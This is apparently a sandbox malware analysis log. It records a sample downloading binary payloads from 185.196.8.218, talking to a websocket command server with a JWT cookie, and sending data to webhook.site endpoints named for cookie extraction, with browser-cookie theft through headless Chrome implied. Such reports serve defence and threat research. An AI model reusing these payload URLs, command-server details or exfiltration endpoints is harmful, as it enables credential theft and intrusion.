Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49791

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 185.196.8.218:56711
Source: global traffic	TCP traffic: 192.168.2.4:49747 -> 45.150.223.100:65140

Source: Joe Sandbox View	IP Address: 104.26.8.44 104.26.8.44
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT
Source: Joe Sandbox View	ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP

Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.218

Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coUser-Agent: ipapi.co/#go-v1.5Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: inet-ip.infoUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a3/9d499c8606d15383034043de70ce6921f1182c4547063bffbabfb96e53507d80.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin HTTP/1.1Host: 185.196.8.218:56711User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /client HTTP/1.1Host: 185.196.8.218:8080User-Agent: Go-http-client/1.1Connection: UpgradeCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_MSec-WebSocket-Key: EQsJjefmFmSjgpL2czq1OQ==Sec-WebSocket-Version: 13Upgrade: websocketX-Client: ec:f4:bb:ea:15:88
Source: global traffic	HTTP traffic detected: GET /health HTTP/1.1Host: 185.196.8.218:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_MAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /client HTTP/1.1Host: 185.196.8.218:8080User-Agent: Go-http-client/1.1Connection: UpgradeCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_MSec-WebSocket-Key: KM8I4UX8OpCZjFvcf/HxLQ==Sec-WebSocket-Version: 13Upgrade: websocketX-Client: ec:f4:bb:ea:15:88
Source: global traffic	HTTP traffic detected: GET /health HTTP/1.1Host: 185.196.8.218:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NjYzNTQ4OTQsInVzZXIiOiJkZWZhdWx0In0.6GK2dUm-TC5Qd796hwhC2WEDphFvKroCpGwWAdb0-_MAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: ipapi.co
Source: global traffic	DNS traffic detected: DNS query: webhook.site
Source: global traffic	DNS traffic detected: DNS query: inet-ip.info

Source: unknown

HTTP traffic detected: POST /check-should-extract-cookies HTTP/1.1Host: webhook.siteUser-Agent: Go-http-client/1.1Content-Length: 52Authorization: Basic YXBpS2V5OnB4bVlSYVpjRGZVOU43U1RISU8yZ1E0SnRLWHlXVmxqContent-Type: application/jsonAccept-Encoding: gzip

Source: winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://--headless--headless=new--user-data-dir--proxy-server127.0.0.1:37712127.0.0.1:37712127.0.0.1:
Source: winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000004000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:37712
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:37712/json/version
Source: winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:37712Sec-Websocket-AcceptC
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:37712http://127.0.0.1:37712http://127.0.0.1:37712u
Source: winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:37712http://127.0.0.1:37712ntdll.dllRtlGetNtVersionNumbershttp://127.0.0.1:37712COM
Source: 0A7XTINw3R.exe, 00000000.00000003.1762315778.000000C000044000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C000044000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.bin
Source: 0A7XTINw3R.exe, 00000000.00000003.1762315778.000000C000044000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C000044000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.binht
Source: 0A7XTINw3R.exe, 00000000.00000003.1760872994.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.bin
Source: 0A7XTINw3R.exe, 00000000.00000003.1760872994.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.binht
Source: 0A7XTINw3R.exe, 00000000.00000002.2256071288.000000C000400000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 00000012.00000000.2235368180.0000000000640000.00000002.00000001.01000000.0000000A.sdmp, malnotify.exe, 0000001A.00000000.2255037801.0000000000640000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.196.8.218:56711/a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.binht
Source: 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C000044000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a3/9d499c8606d15383034043de70ce6921f1182c4547063bffbabfb96e53507d80.bin
Source: 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin95
Source: 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.binde
Source: notepad.exe, 0000001B.00000002.2948985027.000000C000118000.00000004.00001000.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2946622146.000000C0000C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:8080/
Source: notepad.exe, 0000001B.00000002.2948985027.000000C0001E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:8080/device
Source: notepad.exe, 0000001B.00000002.2954518238.000000C000288000.00000004.00001000.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2953422761.000000C000204000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:8080/health
Source: notepad.exe, 00000020.00000002.2946622146.000000C0000C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:8080/kernel32.dlladvapi32.dllGetUserProfileDirectoryWnetapi32.dlliphlpapi.dllLo
Source: notepad.exe, 0000001B.00000002.2948985027.000000C000118000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.218:8080/kernel32.dlladvapi32.dllIF
Source: winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://45.150.223.100:65140
Source: winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://45.150.223.100:65140http://127.0.0.1:37712/json/versionhttp://127.0.0.1:37712/json/versionAPP
Source: winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://45.150.223.100:65140http://45.150.223.100:65140pxmYRaZcDfU9N7STHIO2gQ4JtKXyWVljpxmYRaZcDfU9N7
Source: powershell.exe, 00000024.00000002.2595327714.000001B67A279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000010.00000002.2951225753.0000024EBF400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF64D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000001E.00000002.2504965931.0000022A55C07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2504965931.0000022A55D3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2484824489.0000022A47478000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663B32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6722EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6721BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E623D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000001E.00000002.2484824489.0000022A45B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B662141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001E.00000002.2484824489.0000022A45B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B662141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF6A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://go-rod.github.io/#/compatibility?id=os
Source: winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://go-rod.github.io/#/compatibility?id=os:
Source: winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://golang.org/pkg/time/#ParseDuration)function(e)
Source: malnotify.exe, 00000012.00000002.2473465562.000000C000D32000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 00000012.00000002.2470988216.000000C000400000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 0000001A.00000002.2521666601.000000C00186C000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 0000001A.00000002.2520156501.000000C001000000.00000004.00001000.00020000.00000000.sdmp, notepad.exe, 0000001B.00000002.2959106776.00007FF7CA25B000.00000002.00000400.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2959057593.00007FF7CA25B000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://inet-ip.info/jsonjson:
Source: winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipapi.co/json/
Source: winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipapi.co/json/https://ipapi.co/json/u
Source: winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com
Source: winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/Upgrade-Insecure-Requestsstrict-origin-when-cross-origin0976E8F17EB70E8
Source: winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.comNavigating
Source: winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.comhttps://myaccount.google.com2024-12-27T03:09:57-05:00
Source: winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.comhttps://myaccount.google.comredirected
Source: powershell.exe, 0000001E.00000002.2504965931.0000022A55C07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2504965931.0000022A55D3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2484824489.0000022A47478000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663B32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6722EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E623D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000010.00000003.2231563407.0000024EBF672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://playwright.azureedge.net/builds/chromium/%d/chromium-linux-arm64.ziptls:
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webhook.site/check-should-extract-cookies
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webhook.site/check-should-extract-cookieshttps://webhook.site/check-should-extract-cookies
Source: winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webhook.site/publish-state-extractor
Source: winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webhook.site/publish-state-extractorhttps://webhook.site/publish-state-extractor
Source: winclock.exe, 00000004.00000002.2452222812.000000C000208000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000274000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000274000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/account/about/?hl=en-US
